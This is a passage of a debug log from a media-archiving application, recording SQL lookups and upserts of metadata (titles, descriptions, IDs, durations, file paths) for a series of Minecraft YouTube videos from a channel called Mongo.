s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.247 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 17:00:27Z], 31] 19:44:54.248 [debug] QUERY OK source="media_items" db=0.7ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "69bed2c7-948d-4cec-bc95-ee335352a0de", "MSrXwMFFpYo", false, "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, [], 1361, false, 3, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, false, 98, ~U[2026-06-01 17:00:27Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "MSrXwMFFpYo", "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, 1361, false, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, ~U[2026-06-01 17:00:27Z]] 19:44:54.249 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.250 [debug] QUERY OK source="media_items" db=1.2ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-31 17:00:07Z], 31] 19:44:54.251 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "7216cb06-35ce-4fde-9bb8-539eb73ddc67", "-SXrtlMYJdk", false, "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, [], 1263, false, 4, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, false, 98, ~U[2026-05-31 17:00:07Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "-SXrtlMYJdk", "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, 1263, false, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, ~U[2026-05-31 17:00:07Z]] 19:44:54.251 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.253 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 17:00:10Z], 31] 19:44:54.254 [debug] QUERY OK source="media_items" db=0.7ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "694169a5-14bb-462d-a96c-6b10ee2f0fbc", "gS2rtAwhgS4", false, "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, [], 1228, false, 5, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, false, 98, ~U[2026-05-30 17:00:10Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "gS2rtAwhgS4", "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, 1228, false, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, ~U[2026-05-30 17:00:10Z]] 19:44:54.254 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.256 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 17:00:06Z], 31] 19:44:54.257 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "fa06d92e-49f5-4504-858a-93cec9215ce1", "MQ_d8wvuqLU", false, "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, [], 969, false, 6, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, false, 98, ~U[2026-05-29 17:00:06Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "MQ_d8wvuqLU", "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, 969, false, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, ~U[2026-05-29 17:00:06Z]] 19:44:54.257 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.259 [debug] QUERY OK source="media_items" db=1.1ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-28 17:26:02Z], 31] 19:44:54.260 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "f4a217e9-2367-4dad-83ae-e26b126a26aa", "DQr3uoXq09E", false, "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, [], 1064, false, 7, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, false, 98, ~U[2026-05-28 17:26:02Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and Axy are playing with YOU in a OP LUCKY BLOCK RACE in Minecraft! LUCKY BLOCK RACE in Minecraft!? Who wins? Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "YOU Play a OP LUCKY BLOCK RACE in Minecraft!", "DQr3uoXq09E", "https://www.youtube.com/watch?v=DQr3uoXq09E", 31, 1064, false, "/downloads/rory/Mongo/2026-05-28 YOU Play a OP LUCKY BLOCK RACE in Minecraft!/YOU Play a OP LUCKY BLOCK RACE in Minecraft! [DQr3uoXq09E].mp4", false, ~U[2026-05-28 17:26:02Z]] 19:44:54.260 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.261 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-27 17:00:27Z], 31] 19:44:54.262 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "b92b6223-2902-4509-a83d-4b58265271aa", "T3NuRrQoyYg", false, "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, [], 1050, false, 8, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, false, 98, ~U[2026-05-27 17:00:27Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and his friends survived 100 Days as SUNMAN MONSTER in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "I Survived 100 Days as SUNMAN MONSTER in Minecraft!", "T3NuRrQoyYg", "https://www.youtube.com/watch?v=T3NuRrQoyYg", 31, 1050, false, "/downloads/rory/Mongo/2026-05-27 I Survived 100 Days as SUNMAN MONSTER in Minecraft!/I Survived 100 Days as SUNMAN MONSTER in Minecraft! [T3NuRrQoyYg].mp4", false, ~U[2026-05-27 17:00:27Z]] 19:44:54.263 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.264 [debug] QUERY OK source="media_items" db=1.1ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 17:00:00Z], 31] 19:44:54.265 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "50e9526d-6a31-4152-adea-0e1b77297992", "yiadofzzi7Y", false, "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, [], 935, false, 9, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, false, 98, ~U[2026-05-26 17:00:00Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and his friends are Having Doomsday Bunker VS FOOD TSUNAMI in Minecraft! What happens? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "FOOD TSUNAMI vs Doomsday Bunker in Minecraft!", "yiadofzzi7Y", "https://www.youtube.com/watch?v=yiadofzzi7Y", 31, 935, false, "/downloads/rory/Mongo/2026-05-26 FOOD TSUNAMI vs Doomsday Bunker in Minecraft!/FOOD TSUNAMI vs Doomsday Bunker in Minecraft! [yiadofzzi7Y].mp4", false, ~U[2026-05-26 17:00:00Z]] 19:44:54.266 [debug] QUERY OK source="sources" db=0.3ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.267 [debug] QUERY OK source="media_items" db=1.1ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 17:00:01Z], 31] 19:44:54.268 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "4ca7fe18-cb5a-4ca8-9bb4-673e45600af8", "25gZa2W_uyA", false, "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, [], 966, false, 10, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, false, 98, ~U[2026-05-25 17:00:01Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "25gZa2W_uyA", "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, 966, false, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, ~U[2026-05-25 17:00:01Z]] 19:44:54.268 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.270 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-24 17:34:55Z], 31] 19:44:54.279 [debug] QUERY OK source="media_items" db=8.6ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "db37e56a-0352-4497-9412-916188546629", "NKbjniE9Ug4", false, "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, [], 1120, false, 11, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, false, 98, ~U[2026-05-24 17:34:55Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "NKbjniE9Ug4", "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, 1120, false, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, ~U[2026-05-24 17:34:55Z]] 19:44:54.279 [debug] QUERY OK source="sources" db=0.3ms idle=11.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.281 [debug] QUERY OK source="media_items" db=1.1ms idle=11.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 17:00:07Z], 31] 19:44:54.283 [debug] QUERY OK source="media_items" db=2.0ms idle=12.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "6e4602e6-f7c7-4382-bdd2-78735642d342", "7TrJHLfmISo", false, "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, [], 997, false, 12, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, false, 98, ~U[2026-05-23 17:00:07Z], ~U[2026-06-03 23:44:54Z], ~U[2026-06-03 23:44:54Z], "Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "7TrJHLfmISo", "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, 997, false, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, ~U[2026-05-23 17:00:07Z]] 19:44:54.283 [debug] QUERY OK source="sources" db=0.3ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:54.285 [debug] QUERY OK source="media_items" db=1.1ms idle=5.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 19:08:43Z], 31] 19:44:54.286 [debug] QUERY OK source="media_items" db=0.6ms idle=5.6ms INSERT INTO "media_items" AS m0 